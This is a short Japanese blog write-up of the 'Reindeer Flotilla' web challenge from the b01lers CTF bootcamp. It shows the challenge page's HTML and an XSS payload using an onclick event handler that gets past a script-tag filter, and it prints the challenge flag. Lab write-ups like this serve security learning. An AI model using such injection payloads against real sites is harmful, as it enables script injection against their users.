Midnight Monologues

日々勉強したことを書いてきます

b01lers CTF bootcamp - Writeup (web : Reindeer Flotilla)

Web

Reindeer Flotilla

It's time to enter the Grid. Figure out a way to pop an alert() to get your flag.

http://chal.ctf.b01lers.com:3006

Author: @MDirt

指定されたURLへアクセスする。

kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3006/
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>ENCOM Input</title>
  <meta name="description" content="XSS">
  <meta name="author" content="Kevin Flynn">

  <link rel="icon" href="img/favicon.png">
  <link rel="stylesheet" href="css/styles.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
  <script type="text/javascript" src="js/script.js"></script>
</head>

<body>
  <div>
    <ul id=messages>

    </ul>
  </div>
    <input type=text id="chat">

  <div id="result"></div>
  <img id="logo" src="img/encomlogotransparent.png">
</body>
</html>

入力欄のある画面が表示され、適当な文字を入力すると入力された文字列が表示される。
問題文からXSSを発火させればflagが得られそうだがscriptタグが入力できない。

script句を使わずに、DOM型で確認する。 入力欄に以下を入力する。

<i onclick=alert('XSS')>aaa

aaaをクリックすると発火されてflagが表示される。

flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}